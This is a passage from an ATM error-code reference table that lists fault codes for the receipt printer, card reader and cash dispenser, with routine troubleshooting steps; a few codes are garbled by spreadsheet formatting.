111| 2. Check if the micro switch of the feed lever normally functions.| |
112| 3. Check if cable of the micro switch is cut in the feed lever and the connector is wrontly inserted.| |
113| 2001300| Receipt paper is empty. It was detected that receipt paper was empty before the receipt printer started to operate (when both the paper empty sensor and the paper sentting sensor are lights).| 1. Fill paper.
114| 2. Check the lever operation position in the sensor.| |
115| 3. Check if cable is cut or the connector is wrongly inserted.| |
116| 2001400| The thermal head of the receipt printer is overheated (before the receipt printer starts to operate).| 1. Check and replace the thermal printer head.
117| 2. Check logic related to the TPH of the PR board.| |
118| 2001500| LOW PAPER OF RECEIPT PRINTER !!!| Change the repeipt paper of receipt printer.
119| 2001600| Note detected in stacker (shutter or presenter type)| Clear any notes from the stacker.
120| 2010100| In case of detecting to be open lever of print head before printing receipt paper (Receipt Printer). Platen is opened Platen lever open(Mis-handling)| Close the lever of print head completely
121| 2010200| Receipt printer head overheated| Wait the time until the temperature of headadequately slow down and try to initialize
122| 2010300| Jam error Jam occurred during returning or the abnormal jam sensor(Abnormal Mecha)| 1.Remove jammed paper between printer head and rollers
123| 2010400| Paper set error Abnormal paper setting(Mis-handling)|
124| 3100100| Send to undefined command| Check if communication cable and com port are connected or not.
125| 3100200| Command execution is impossible.| Other command is executing.
126| 3100400| Command data error| Check if communication cable and com port are connected or not.
127| 2010500| Detecting paper setting error before printing. It is detected that paper is not properly set before printing (Receipt Printer).No paper Abnormal paper setting or no paper(Mis-handling). SPR paper setting error before printing.| 1.Check the status of setting paper2.Check the status of sensor and its connctor
128| 2010600| Command is received while doing self-test (Receipt Printer). Offline error Offline mode is engaged(Mis-handling)| After terminating self- test and initialize receipt printer
129| 2010700| No receipt paper| 1. Replenish receipt paper in paper charger
130| 2. Check the status of Near End sensor and its connector| |
131| 2010800| It is detected that paper is not properly cut while operating| 1.Check the Cutter module
132| 2.Check if printer head lever is properly close| |
133| 2010900| Black mark is not properly detected in receipt paper before printing (Receipt Printer)| 1.Check the status of Black mark sensor
134| 2.Check if Dip switch # 6 is correctly set (Dip switch # 6 is set by On in case of not using Black mark)| |
135| 2010A00| The size of image print data is abnormal while printing image (Receipt Printer)| Check the AP version and initialize
136| 2021500| Sensor detects note in delivery path before CDU dispenses| Remove note from the CDU delivery path.
137| 2080100| Platen is opened Platen lever open(Mis-handling)| Close the lever of print head completely
138| 2080200| In case of detecting to be overheated in print head before printing receipt paper| Wait the time until the temperature of head adequately slow down and try to initialize
139| 2080300| Paper jam occurs in return path after printing or cutting or discharging receipt paper (Receipt Printer)| Remove jammed paper between printer head and rollers
140| 2080400| Paper set error Abnormal paper setting(Mis-handling)| 1. Replenish receipt paper
141| 2. Check the status of sensor and its connctor| |
142| 2080500| No paper Abnormal paper setting or no paper(Mis-handling)| 1. Check the status of setting paper
143| 2. Check the status of sensor and its connector| |
144| 2080600| Command is received while doing self-test| After terminating self-test and initialize receipt printer
145| 2080700| Found during idle time that paper at SPR is not enough to print.| 1. Replenish receipt paper in paper charger
146| 2. Check the status of Near End sensor and its connector| |
147| 2080800| It is detected that paper is not properly cut while operating (Receipt Printer)| 1.Check the Cutter module
148| 2.Check if printer head lever is properly close| |
149| 2080900| Black mark is not properly detected in receipt paper after printing (Receipt Printer)| 1.Check the status of Black mark sensor
150| 2.Check if Dip switch # 6 is correctly set (Dip switch # 6 is set by On in case of not using Black mark)| |
151| 2080A00| Abnormal size of image data found during idle time while checking status of SPR.| Check the AP version and initialize
152| 2080B00| Margin setting error (Receipt Printer)| 1. Check whether the default registry setting is changed
153| 2. Reset the PTR SP| |
154| 2080C00| Paper jammed at the exit of the slot| Remove the jammed paper
155| 2080D00| Paper jammed in the path (Receipt Printer)| Remove the jammed paper
156| 2080F00| The firmware crashed (Receipt Printer)| 1. Check whether the dip switch #1 is set to ON position
157| 2. Update the firmware| |
158| 2110100| Solenoid echo error (Retraction solenoid pull direction echo check Error while receipt paper Initializing) (Receipt Printer)|
159| 2110200| Solenoid echo error (Retraction solenoid release direction echo check Error while receipt paper Initializing) (Receipt Printer)|
160| 2110300| Cutter regular position error while receipt paper Initializing (Receipt Printer)|
161| 2110400| No paper on SS2 before cutting while receipt paper Initializing (Receipt Printer)| 1. Open upper part lever of return road and printer lever
162| 2. Remove receipt paper roll| |
163| 3. Cut without fold and neatly end of receipt paper4. Reset receipt paper roll| |
164| 2110600| Paper out error upon initializing SPR.|
165| 2110700| Fail paper retraction while receipt paper Initializing (Receipt Printer)| 1. Open upper part lever of return road
166| 2. Remove receipt paper between upper guides| |
167| 3. Lift up upper guide and close| |
168| 2110900| Path 1 or path 2 are opened upon initializing SPR.| Close upper guide
169| 2111000| No paper in paper perception sensor(SS3) while receipt paper Initializing (Receipt Printer)| Set receipt paper
170| 2111100| Overheating detect in THP head while receipt paper Initializing (Receipt Printer)| 1. Cool off TPH head, and initialize SPR again.
171| 2111200| Fail Black Mark detection before cutting while receipt paper Initializing (Receipt Printer)| 1. Open upper part lever of return road and printer lever
172| 2. Remove receipt paper roll| |
173| 3. Check position of black mark (on lower 1/4 part of receipt paper)| |
174| 4. Reset receipt paper roll| |
175| 2111300| Found TPH lever open upon initializing SPR.| 1. Close TPH lever, and initialze SPR again.
176| 2111400| R-gate solenoid, SSOL3, echo check error when it is pulled in upon initializing SPR.| 1. Check SSOL3 if it works good or if it is damaged.
177| 2. Check sensors around SSOL3 carefully and clean it.| |
178| 3. Clean solenoid shaft if possible.| |
179| 2111500| R-gate solenoid, SSOL3, echo check error when it is released out upon initializing SPR.| 1. Check SSOL3 if it works good or if it is damaged.
180| 2. Check sensors around SSOL3 carefully and clean it.| |
181| 3. Clean solenoid shaft if possible.| |
182| 2111600| R-guide solenoid, SSOL2, echo check error upon initializing SPR.| 1. Check SSOL2 if it works good or if it is damaged.
183| 2. Check sensors around SSOL2 carefully and clean it.| |
184| 3. Clean solenoid shaft if possible.| |
185| 2111700| SPR connector is not connected upon initializing SPR.| Connect it properly.
186| 2111900| TPH connector the detection which is not connected while receipt Paper Initializing (Receipt Printer)| Connect it properly.
187| 2112100| Paper retraction fail in Discharge gate while receipt paper Initializing (Receipt Printer)| 1. Open upper part lever of return road
188| 2. Remove receipt paper between upper guides| |
189| 3. Lift up upper guide and close.| |
190| 2112200| Paper retraction failure on paper path, at SS1, SS2, upon initializing SPR.| 1. Check the paper path of SPR carefully around SS1, SS2
191| 2. Check if paper roll is set properly.| |
192| 2112300| Paper retraction failure at paper path, SS2, upon initializing SPR.| 1. Check paper path near SS2 carefully.
193| 2. Check if paper roll is set properly.| |
194| 2112X00| Paper retraction fail in Discharge gate while receipt paper Initializing (Receipt Printer)| 1.Open upper part lever of return road
195| 2. Remove receipt paper between upper guides| |
196| 3. Lift up upper guide and close or Reset receipt paper.| |
197| 2121000| Paper perception sensor(SS3) not detected paper before receipt paper (Receipt Printer)| 1. Close printer lever.
198| 2. Check if papre roll is set properly.| |
199| 3. Check sensor SS3 and clean it carefully.| |
200| 2121100| Printing Overheating detect in TPH while receipt paper printing (Receipt Printer)|
201| 2121200| Paper not found at SS3 after printing on SPR.| 1. Check if papre roll is set properly.
202| 2. Check sensor SS3 and clean it carefully.| |
203| 2121300| Receipt paper jam error occurred during ejecting the receipt paper after print| 1. Remove the receipt paper jam
204| 2. Reset the receipt paper roll| |
205| 2130300| Cutter regular position error in cut command (Receipt Printer)| 1. Open upper part lever of return road and printer lever
206| 2. Remove receipt paper roll| |
207| 3. Check position of black mark (on lower 1/4 part of receipt paper)| |
208| 4. Reset receipt paper roll| |
209| 2130400| Regular position sensor(SS2) detect no paper after receipt paper cutting (Receipt Printer)| 1. Open upper part lever of return road
210| 2. Remove receipt paper between upper guides| |
211| 3. Lift up upper guide and close| |
212| 2130500| Paper not found at SS2 before cutting paper at SPR.| 1. Check printer cutter carefully.
213| 2. Check if paper is jammed near SS2 on path or if SS2 works good.| |
214| 3. Replace printer head assembly or whole SPR.| |
215| 2130600| Black mark on backside of paper not found when cutting paper at SPR.| 1. Check if paper has a black mark at backside.
216| 2. Check if paper roll is set properly.| |
217| 3. Check if paper is jammed on path.| |
218| 2131500| CS4 sensor detects note in delivery path before CDU dispenses. Sensor is located along the delivery path right before the reject bin.| Remove note from the CDU delivery path.
219| 2140500| Paper found at SS2 of paper sexit slit after ejecting paper cut at SPR.| 1. Check if paper is jammed near SS2 on path or if SS2 works good.
220| 2. Check printer cutter carefully.| |
221| 2150700| Paper found at SS2 of paper sexit slit after retracting paper cut at SPR| 1. Check if paper is jammed near SS2 on path or if SS2 works good.
222| 2. Check printer cutter carefully.| |
223| 2150800| Paper not found at SS2 within time out when retracting paper cut at SPR.| 1. Check if paper is jammed near SS2 on path or if SS2 works good.
224| 2. Check printer cutter carefully.| |
225| 2170300| Receipt paper jam found at SS2 before ejecting paper and card.|
226| 2170400| Receipt paper jam found at SS2 when ejecting paper and card, and communication with MCRW time out.|
227| 2170500| Receipt paper jam found at SS2 when ejecting paper and card.|
228| 2171000| Receipt paper jam found at SS2 and card jam found at MCRW when ejecting paper and card.|
229| 2174000| No response from MCRW when ejecting card and paper.|
230| 217XX00| MCRW error when ejecting paper and card.xx means error code from MCRW.|
231| 2180100| Retraction solenoid echo check error when it is pulled in to auto load receipt paper roll.|
232| 2180200| Retraction solenoid echo check error when it is released out to auto load receipt paper roll.|
233| 2180300| R-gate solenoid echo check error when it is on to auto load paper roll.|
234| 2180400| R-gate solenoid echo check error when it is pulled in to auto load paper roll.|
235| 2180500| R-gate solenoid echo check error when it is released out to auto load receipt paper roll.|
236| 2180600| Sensor connector not connected when it try to auto load receipt paper roll.|
237| 2180700| Lever 2 on the path is open when it tries to auto load receipt paper roll.|
238| 2180800| Lever 1 on the path is open when it tries to auto load receipt paper roll.|
239| 2180900| Retraction failure of remained paper on the path before it tries to auto load receipt paper roll.|
240| 2181100| New roll to be refilled is found, and near-end sensor, SS7, by being-used roll is activated before it tries to auto load receipt paper roll.|
241| 2181200| Receipt paper is not found at SS7 even though new paper roll is released when it tries to to auto load receipt paper roll.|
242| 2181300| No paper is found at paper-seperated-detecting sensor, SS6 within proper time interval when it tries to auto load receipt paper roll.|
243| 2181400| No paper is found at paper detecting sensor, SS5 within proper time interval when it tries to auto load receipt paper roll.|
244| 2181500| Cutter position error when it tries to auto load paper roll.|
245| 2181600| Paper cutting error when it tries to auto load paper roll.|
246| 2181700| Paper cut retraction error when it tries to auto load paper roll.|
247| 2181800| TPH lever is open when it tries to auto load paper roll.|
248| 2181900| No paper is found near-end sensor, SS7, and roll-refill sensor, SS8 when it tries to auto load paper roll.|
249| 2182100| TPH connector is not connected properly when it tries to auto load paper roll.|
250| 21A1500| CS1A sensor detects note in delivery path before CDU dispenses. Sensor is located along the delivery path right after where the note exits the 1st cassette.| Remove note from the CDU delivery path.
251| 21B1500| CSB sensor detects note in delivery path before CDU dispensesSensor is located along the delivery path right after where the note exits the 1st cassette.| Remove note from the CDU delivery path.
252| 2222200| The image is not black-white mode while its transmission period (Receipt Printer)|
253| 2333900| Comm. ErrorNo response from the IC card|
254| 24A1500| CS3A sensor detects note in delivery path before CDU dispensesSensor is located along the delivery path right after where the note exits the 3rd cassette.| Remove note from the CDU delivery path.
255| 24B1500| CS3B sensor detects note in delivery path before CDU dispensesSensor is located along the delivery path right after where the note exits the 3rd cassette.| Remove note from the CDU delivery path.
256| 2999900| Unable to interpret M1 at MAINUnable to interpret FC1 at PRINTUnable to interpret FC1 at MCRW|
257| 2DN0000| Failed to connect communication between Receipt printer and SP (Receipt Printer)| Check if communication cable or com port is not connected
258| 3@00100| MCR read data error|
259| 3@00200| No data on magnetic stripe.|
260| 3@00300| MCR data write error|
261| 3@00400| Abnormal command code for MCR.|
262| 3@00500| MCR write data format error|
263| 3@00600| MCR write data size is too big.|
264| 3@01000| Abnormal data on ISO 2 track when two tracks are read simultaneously.|
265| 3@02000| Abnormal data on ISO 3 track when two tracks are read simultaneously.|
266| 3@03000| Abnormal data from JIS-2 track.|
267| 3000000| To shows that received command was undefined|
268| 3000100| To show command parameter error|
269| 3000200| The reception of the command that impossible to implementation|
270| 3000400| To show that error data was included in command|
271| 3000500| To show that a command, which requires the card movement, was executed before IC contacts were released from the card|
272| 3001000| To show that the card was not carried to the specific location after specified number of trial for specified time during execution of command of carrying card in various ways|
273| 3001100| To show that status signal for shutter openis not received while shutter is open.|
274| 3001200| To show that the Sensor is damaged or more that one card is inside ICRW.|
275| 3001300| To show that the card longer than 92mm is inserted into ICRW|
276| 3001400| To show that the card shorter than 78mm is inserted into ICRW|
277| 3001500| To show that data in F-ROM is damaged|
278| 3001600| To show that the card staying inside ICRW was moved up to the point where status request information change. To show that card was inserted into the ICRW through rear side by external force|
279| 3001700| To show that the card was not carried to the specific location after specified number of trial for specified time during execution of RETRIEVE command.|
280| 3001800| To show that shutter open/close detection sensor(SW2) and card width check sensor(SW1) are not operating correctly.|
281| 3001900| To show that a card was not inserted from the rear, even if 10 seconds had passed after the execution of BACK ENTRY command|
282| 3002000| To show that track has parity error|
283| 3002100| To show that read error has happened in Multiple magnetic read command.|
284| 3002200| To show that write error is detected through write/verify procedure.|
285| 3002300| To show that only SS,ES,LRC are contained in the track. (no retry)|
286| 3002400| To show that the card has no magnetic track(no retry)|
287| 3002500| To show that quality error(Jitter,Preamble,Postamble) has happended in write verify.|
288| 3002600| To show that the track has no SS.|
289| 3002700| To show that the track has no ES|
290| 3002800| To show that the track has no LRC error|
291| 3002900| To show that the discordance of write data has happened in write verify.|
292| 3003000| To show that power down(or power cut in short instant)is detected(or being detected).|
293| 3003100| To show that DSR signal was turned to OFF(communication is cut)|
294| 3003200| -Card position change -The position of a card inserted into the C/R was changed -The host can send the next command after it receives the error code|
295| 3003300| #ERROR!|
296| 3004000| To show that the card was pulled out form ICRW through entrance date when CAPTURE command is being executed.|
297| 3004100| Failure at IC Contact solenoid or sensor ICD.|
298| 3004200| -Read error (VRC error)-Vertical parity error(VRC error) wasdetected in the read data (excluding SS and ES codes)-Although the C/R detected the magnetic data error, the host can send the next command|
299| 3004300| Card could not be set to IC contack position/Failure at sensor PDI.|
300| 3004400| -Read error (Not encoded)-The read magnetic data was not encoded-Although the C/R detected the magnetic data error, the host can sendthe next command|
301| 3004500| ICRW lost sight of the card when ICRW completed to carrry the card to dhe rear position during the card acceptance, and ICRW ejected the card to entrance gate.|
302| 3004600| To show that the ejected card has not been withdrawn during execution of Monitoring for removal command.|
303| 3004700| -Card check error of banking facilities-Card of a Japanese banking facility was used (Only JIS 2 is checked) The data will be returned after they are coded-Although the C/R detected the magnetic data error, the host can send the next command|
304| 3004900| -Read track setting error-The specified track has not been read- Although the C/R detected the magnetic data error, the host can send the next Command|
305| 3004A00| -Transport failure during mag.reading-Transport during reading mag. was failed because of deformation of a card.-When a card was inserted, a user held it-Although the C/R detected the magnetic data error, the host can send the next Command|
306| 3005000| Retract counter overflow.|
307| 3005100| To show that Motor error has happened, through start/stop check in Initialize command.|
308| 3005300| To show that read error in Digital Decode Read Command.|
309| 3006000| To show that there found abnormal condition on the power-line.|
310| 3006100| The receiving error for ATR.|
311| 3006200| To show that the specified protocol does not agree with that of ICC/SAM ICRW still connected.|
312| 3006300| In case T=1 cards, after ATR receiving, IFS exchange is failed. ICRW detects time out.|
313| 3006400| In case T=1 cards, after ATR receiving, IFS exchange is failed. ICRW detects protocol error.|
314| 3006500| HOST tried to communicate with IC card without card activation.|
315| 3006600| ICRW tried to activate with ICC/SAM, but the card returned ATR, which is not supported.|
316| 3006900| ICRW tried to activate with ICC/SAM, but the card returned ATR, Which does not match EMV.|
317| 3007000| Failure at F-ROM operation.|
318| 3007100| Firmware of User program code area is wrong.|
319| 300B000| Received the other command before executing Initialize command.|
320| 3011000| MCRW initialization failure because of card jam.|
321| 3011100| MCRW initialization failure because of shutter error.|
322| 3014000| MCRW initialization failure because of no response from MCRW.|
323| 3020100| Card read error because of parameter read error.|
324| 3021000| Card read error because of card jam.|
325| 3021600| Card read error because of wrong card position.|
326| 3024000| Card read error because of no response from MCRW.|
327| 3030100| Card write error because of wrong parameter.|
328| 3030400| Card write error because of write data error.|
329| 3031000| Card write error because of card jam.|
330| 3031100| Card write error because of shutter error.|
331| 3031600| Card write error because of wrong position.|
332| 3032200| Card write error because of data verification error.|
333| 3044000| No response from MCR or NAK received when card is inserted.|
334| 3050100| Parameter error detected when card is ejected.|
335| 3051000| Card jammed when card is ejected.|
336| 3054000| No response from MCU when card is ejected.|
337| 3061000| Card jammed when card is retracted.|
338| 3064000| No response from MCRW when card is retracted.|
339| 3101000| Latch sensor is abnormal.| Check the latch sensor in the device.
340| 3102000| Card has not been read yet or other errors.| Reset the device by reset command.
341| 3102100| No start sentinel.| Reset the device by reset command.
342| 3102200| VRC Error| Reset the device by reset command.
343| 3102300| No End sentinel| Reset the device by reset command.
344| 3102400| LRC Error| Reset the device by reset command.
345| 3102700| SS-ES-LRC card| Reset the device by reset command.
346| 3103000| Detection of Power failure| Check if communication cable and power cable are connected or not.
347| 3106000| Abnormal condition was found on the power-line (Vcc) of ICC(or SAM)| Check if communication cable and power cable are connected or not.
348| 3106100| The receiving error of ATR.| Reset the device by reset command.
349| 3106200| The card(SAM) does not accept this protocol| Reset the device by reset command.
350| 3106300| IC card(SAM) communication error(No answer)| Reset the device by reset command.
351| 3106400| IC card(SAM) communication error(Other)| Reset the device by reset command.
352| 3106500| IC card(SAM) is not activated| Reset the device by reset command.
353| 3106600| IC card(SAM) returned ATR which is not supported ISO/IEC7816-3| Reset the device by reset command.
354| 3106900| IC card(SAM) returned ATR which does not match EMV 2000 V4.0| Reset the device by reset command.
355| 3107000| F-FROM write error| Reset the device by reset command.
356| 3107200| EEPROM operation error| Reset the device by reset command.
357| 3109900| _INTERNAL_ERROR error is occurred and Fail to get error code from DLL| None(Auto recovery)
358| 3142900| Comm. Error- No response from MCRW or NAK received when card entry is enabled.- No response from MCRW when card entry is disabled|
359| 3XX1000| Card jammed| 1. Check position of card
360| 2. Turn green knob clockwise| |
361| 3. Remove restored card| |
362| 4000000| Cash Dispenser(CDU) received the undefined command from AP software| 1. Get the trace file and log files in D:\trace
363| 2. Call your attendant| |
364| 4001100| CS2 Dark detection during initializing or dispense reserved operation (Reject box mounting/dismounting)| 1. Initialize after mounting the reject box.
365| 2. Check if the CS2 sensor cable is disconnected| |
366| 3. Exchange a sensor after abnormal operating CS2 Sensor| |
367| 4001200| CS3 Dark detection during initializing or Dispense reserved operation (Cash Dispenser)| 1. Remove the remaining notes or foreign objects on the gate
368| 2. Check if the CS3 sensor bracket is bended.| |
369| 3. Check if the CS3 sensor cable is disconnected (CDU Board CN10 #9~10).| |
370| 4. Exchange a sensor after abnormal operating CS3 Gate detecting sensor.| |
371| 4001300| CS2 and CS3 Dark detection during initializing or dispense reserved operation (Cash Dispenser)| 1. Remove the remaining notes or foreign objects on the gate
372| 2. Check if the CS2 or CS3 sensor bracket is bended.| |
373| 3. Check if the CS2 or CS3 sensor cable is disconnected (CDU Board CN10 #9~10).| |
374| 4. Exchange a sensor after abnormal operating CS3 Gate detecting sensor.| |
375| 4001400| CS4A Dark detection during initializing or dispense reserved operation (Cash Dispenser)| 1. Remove the remaining notes and foreign objects at the position of the CS4A sensor
376| 2. Check if the CS4A sensor cable is disconnected| |
377| 3. Exchange a sensor after abnormal operating the CS4A Sensor| |
378| 4001500| CS2 and CS4A Dark detection during initializing or dispense reserved operation (Cash Dispenser)| Remove note from the CDU delivery path. Clean CS2 and CS4A.
379| 4001600| CS2 and CS4A Dark detection during initializing or dispense reserved operation (Cash Dispenser)| The same as #40011 and #40012 error handling
380| 4001700| CS2, CS3 and CS4A Dark detection during initializing or dispense reserved operation (Cash Dispenser)| The same as #40011, #40012 and #40014 error handling
381| 4001800| CS4B sensor detects note in delivery path before/after CDU dispenses| 1. Remove note from the CDU delivery path.
382| 2. Clean CS4B| |
383| 4001900| CS2 or CS4B sensor detects note in delivery path before/after CDU dispenses| 1. Remove note from the CDU delivery path.
384| 2. Clean CS2 and CS4B| |
385| 4001A00| CS2, CS3 and CS4A Dark detection during initializing or dispense reserved operation (Cash Dispenser)| The same as #40011 and #40018 error handling.
386| 4001B00| CS2, CS3 and CS4A Dark detection during initializing or dispense reserved operation (Cash Dispenser)| The same as #40011, #40012 and #40018 error handling.
387| 4001C00| CS4A or CS4B sensor detects note in delivery path before/after CDU dispenses| 1. Remove note from the CDU delivery path.
388| 2. Clean CS4A and CS4B| |
389| 4001D00| CS2, CS4A or CS4B sensor detects note in delivery path before/after CDU dispenses| Remove note from the CDU delivery path. Clean CS2, CS4A and CS4B. The same as #40011, #40014 and #40018 error handling.
390| 4.00E+03| CS3, CS4A and CS4B Dark detection during initializing or dispense reserved operation| The same as #40012, #40014 and #40018 error handling
391| 4001F00| CS2, CS3, CS4A and CS4B Dark detection during initializing or dispense reserved operation (Cash Dispenser)| The same as #40011, #40012 and #40014 error handling
392| 4002100| CS11A Dark detection during initializing or dispense reserved operation (Cash Dispenser)| 1. Remove the remaining notes and foreign objects at the position of the CS11A sensor
393| 2. Check if the CS11A sensor cable is disconnected.| |
394| 3. Exchange a sensor after abnormal operating the CS11A sensor| |
395| 4002200| CS11B Dark detection during initializing or dispense reserved operation (Cash Dispenser)| 1. Remove the remaining notes and foreign objects at the position of the CS11B sensor
396| 2. Check if the CS11B sensor cable is disconnected| |
397| 3. Exchange a sensor after abnormal operating the CS11B sensor| |
398| 4002300| CS11A and CS11B Dark detection during initializing or dispense reserved operation (Cash Dispenser). CS1A or CS1B sensor detects note in delivery path before/after CDU dispenses| 1. Remove note from the CDU delivery path.
399| 2. Clean CS1A and CS1B| |
400| 4002700| CS13A Dark detection during initializing or dispense reserved operation (Cash Dispenser)| 1. Remove the remaining notes and foreign objects at the position of the CS13A sensor2. Check if the CS13A sensor cable is disconnected3. Exchange a sensor after abnormal operating the CS13A sensor
401| 4002800| CS13 Dark detection during initializing or Dispense reserved operation (Cash Dispenser)| Remove the remaining notes and foreign objects at the position of the CS13 sensor. Check if the CS13 sensor cable is disconnected (CDU Board CN10 #1~4). Exchange sensor if error occurs after checking CS13 sensor operation. Remove note from the CDU deliver
402| 4002900| CS11A and CS13 Dark detection during initializing or dispense reserved operation (Cash Dispenser)| 1. Remove note from the CDU delivery path.
403| 2. Clean CS1A and CS13| |
404| 4002A00| CS11B or CS13 sensor detects note in delivery path before/after CDU dispenses| 1. Remove note from the CDU delivery path.
405| 2. Clean CS1B and CS13| |
406| 4002B00| CS11A, CS11B or CS13 sensor detects note in delivery path before/after CDU dispenses| 1. Remove note from the CDU delivery path.
407| 2. Clean CS1A, CS1B and CS13| |
408| 4003000| Failed in checking the main motor echo| 1. Initialize
409| 2. Check Main Motor Encoder Slit| |
410| 3. Initialize after Power On/Off| |
411| 4. Check Encoder Sensor CS8 BRKT| |
412| 5. Check CS8 Sensor Cable| |
413| 6. Change Main Motor Encoder Slit Sensor CS8| |
414| 4003100| Failed in checking the reject gate solenoid echo| Listen to click sound during cash dispenser initializing- If that sound occurs in 2 seconds after motor was turned, it is normal- If there is delayed, replace PCB on cash dispenser
415| 4003200| Failed in checking the present gate solenoid echo| Listen to click sound during cash dispenser initializing- If that sound occurs in 2 seconds after motor was turned, it is normal- If there is delayed, replace PCB on cash dispenser
416| 4003300| Check sum error (No information is set) (Initial recovery) (Cash Dispenser)| 1. Check CDU Information after reading CDU version
417| 2. Initialize| |
418| 3. Initialize after executing CDU Information Set('P') Command| |
419| 4. Change CDU B/D.| |
420| 5. Replace PCB on cash dispenser| |
421| 4003400| Error two sheets detecting sensor (CS5_1) for initializing (Cash Dispenser)| 1. Check CS5_1 Sensor Cable
422| 2. Check second Dip Switch in CDU B/D| |
423| 3. Change CS5_1 Sensor| |
424| 4003500| Error two sheets detecting sensor (CS5_2) for initializing (Cash Dispenser)| 1. Check CS5_2 Sensor Cable
425| 2. Check second Dip Switch in CDU B/D| |
426| 3. Change CS5_2 Sensor| |
427| 4003600| Error of CS 2, CS13 sensor during initialization| 1. Check note jam at CS2 and CS13 sensor
428| 2. Clean CS2 and CS13 sensors| |
429| 3. Reconnect CS2 and CS13 sensors| |
430| 4. Replace CS2 and CS13 sensor| |
431| 4003700| Error of double detecting module including sensor(CS5_1/CS5_2) during dispensing bills (Cash Dispenser)| 1. Check CDU Board Segment
432| 2. Initialize| |
433| 3. Read data of 'Read Double Sensor' Command| |
434| 4003800| The cash dispenser is released from the docking position (Cash Dispenser)| 1. Return the docking position of cash dispenser
435| 2. Reboot ATM| |
436| 3. Replace PCB on cash dispenser| |
437| 4003900| Abnormal operation of the gate solenoid during initialization or before dispensing bill.| 1. Initialize after removing notes or dust over Gate
438| 2. Check CS3 Sensor BKRT| |
439| 3. Check CS3 Sensor Cable| |
440| 4. Exchange Sensor after abnormal operating CS3 Gate detecting Sensor| |
441| 5. Exchange Reject Solenoid 1| |
442| 4003A00| This error occurs when the number of demanded bills are more than 5 in dispensing command for test.| 1. Check command that CDU is received
443| 2. Check CDU EP ROM Version or specification| |
444| 4003b00| ( Cash Dispenser ) When CS15A or CS 15B, CS21A sensor is detected as dark after initial recovery| 1. Remove notes or dust in existence CS15A Sensor
445| 2. Check CS15A Sensor Cable| |
446| 3. Exchange Sensor after abnormal operating CS15A Sensor| |
447| 4003C00| 1 Cassette not available during dispense reserved operation| 1. Set 1 Cassette
448| 2. Check CS7 Sensor Cable| |
449| 3. Exchange Sensor after abnormal operating CS7 Sensor| |
450| 4003D00| Incomplete mounting of 1st cassette during dispense operation (Cash Dispenser)| 1. Check notes' status in 1st Cassette
451| 2. Check 1st cassette specifications| |
452| 3. Check if the CS7 sensor cable is disconnected| |
453| 4. Exchange a sensor after abnormal operating the CS7 sensor .| |
454| 4.00E+03| CS21B DARK Detected (Initial recovery, Separated reject)| 1. Remove notes or dust in existence CS21B Sensor
455| 2. Check CS21B Sensor Cable| |
456| 3. Exchange Sensor after abnormal operating CS21B Sensor| |
457| 4003F00| CS21A,CS21B DARK Detected(Initial recovery, Separated reject) (Cash Dispenser)| 1.Remove notes or dust in existence CS21A , CS21B Sensor
458| 2. Check CS21A, CS21B Sensor Cable| |
459| 3. Exchange sensor after abnormal operating CS21A, CS21B Sensor.| |
460| 4004000| Taking out a cassette during dispensing bills. (1~4 cassette)| 1. Push the cassette until making click sound
461| 2. Check the catcher inside cassette guide| |
462| 4004100| Error if re-driving is over 5 times (Separated rejection) (Cash Dispenser)| 1. Check notes in Reject Box
463| 2. Rearrange notes in Cassette| |
464| 3. Remove dust in CS21AB, CS31AB, CS41AB CS11AB Sensor| |
465| 4. Check dust existing in CS5 Sensor Guide| |
466| 5. Check dust existing in Main Motor Encoder Slit| |
467| 6. Check index value of notes each cassette| |
468| 4004200| This error occurs when CS13 (the number of dispensed bills) is smaller than the number of demended bills.| 1. Check notes dispensed and rejected
469| 2. Remove notes jammed in CDU| |
470| 3. Remove dust in CS13 Sensor| |
471| 4. Exchange sensor after abnormal operating CS13 Sensor| |
472| 4DN1300| No response detected after 5 retries because of timeout between STX-BCC interval| Check cable and connection between the CE and dispenser.
473| 4DN8100| Communication error of Shutter|
474| 4004300| Error if total reject is more than 20 sheets(Separated rejection)| 1. Check notes in Reject Box
475| 2. Rearrange notes in Cassette| |
476| 3. Remove dust in CS11AB, CS21AB, CS31AB, CS41AB Sensor| |
477| 4. Check dust in existence CS5 Sensor Guide| |
478| 5. Check notes index value| |
479| 4004400| Reject error if continuous 5 times (Separated rejection)| 1. Check notes in Reject Box
480| 2. Rearrange notes in Cassette| |
481| 3. Check dust in Main Motor Encoder Slit| |
482| 4. Remove dust in CS21AB, CS31AB, CS11AB Sensor| |
483| 5. Exchange CS8 Encoder Slit Sensor| |
484| 4004500| In case the number of notes detected outlet sensor(CS13) is more than required notes| 1. Check notes dispensed and rejected
485| 2. Remove dust in CS13 Sensor| |
486| 3. Exchange sensor after abnormal operating CS13 Sensor| |
487| 4004600| Program error(Separated rejection)| 1. Initialize after Reset Power
488| 2. Upgrade CDU Firmware or Re-download| |
489| 3. Exchange CDU B/D| |
490| 4004700| 1 CASSETTE MISFEED ERROR(Separated rejection)| 1. Check notes in 1 Cassette
491| 2. Check Sensor(CS6) Poll| |
492| 3. Check jam in 1 cassette and reload| |
493| 4. Remove dust in CS11A, CS11B Sensor| |
494| 5. Exchange 1 cassette box when there are many error| |
495| 4004800| The dispensed count in CS 13A and CS13B is not consistent (Cash Dispenser)| 1. Check notes dispensed and rejected
496| 2. Remove dusts in CS13A and CS13BSensor| |
497| 3. Exchange sensor after abnormal operating CS13A and CS13B Sensor| |
498| 4004900| Dispensing 0 sheets required is error(Separated rejection)| 1. Check received command
499| 2. Check communication cable| |
500| 3. Check CDU Firmware Version| |
501| 4004A00| CS1AB ~ CS13 Time out (Jam) during dispensing bills from first cassette.| 1. Remove jammed notes on CDU return path
502| 2. Remove dust in CS1~CS4 sensor| |
503| 3. Install after rearranging notes in cassette| |
504| 4004B00| Bills are rejected 3 times continuously because of bill separation error during dispensing.| 1. Check state of notes in reject box
505| 2. Rearrange notes in cassette| |
506| 3. Check Index of notes| |
507| 4. Check foreign objects in the main motor encoder slit| |
508| 5. Replace the CS8 encoder slit sensor| |
509| 4004C00| In case the number of notes detected outlet sensor(CS13) is more than that of notes detected on CS1A,B sensor|
510| 4004D00| Cassette 1 is not completely mount into CDU body during dispense operation of cassette 1|
511| 4.00E+03| Detected the remaining notes during dispense reserved operation (Cash Dispenser)| 1. Initialize after removing the return path
512| 2. Clean sensors on the return path (CS13)| |
513| 4004F00| The number of bill reject is exceeded to the standard value due to lots of skew in bills (Cash Dispenser)| Rearrange notes in cassette properly
514| 4005000| Reserved|
515| 4005100| Received a request for over 120 notes dispensing on the CDU from the upper unit. (Cash Dispenser)| 1. Check the CDU received command
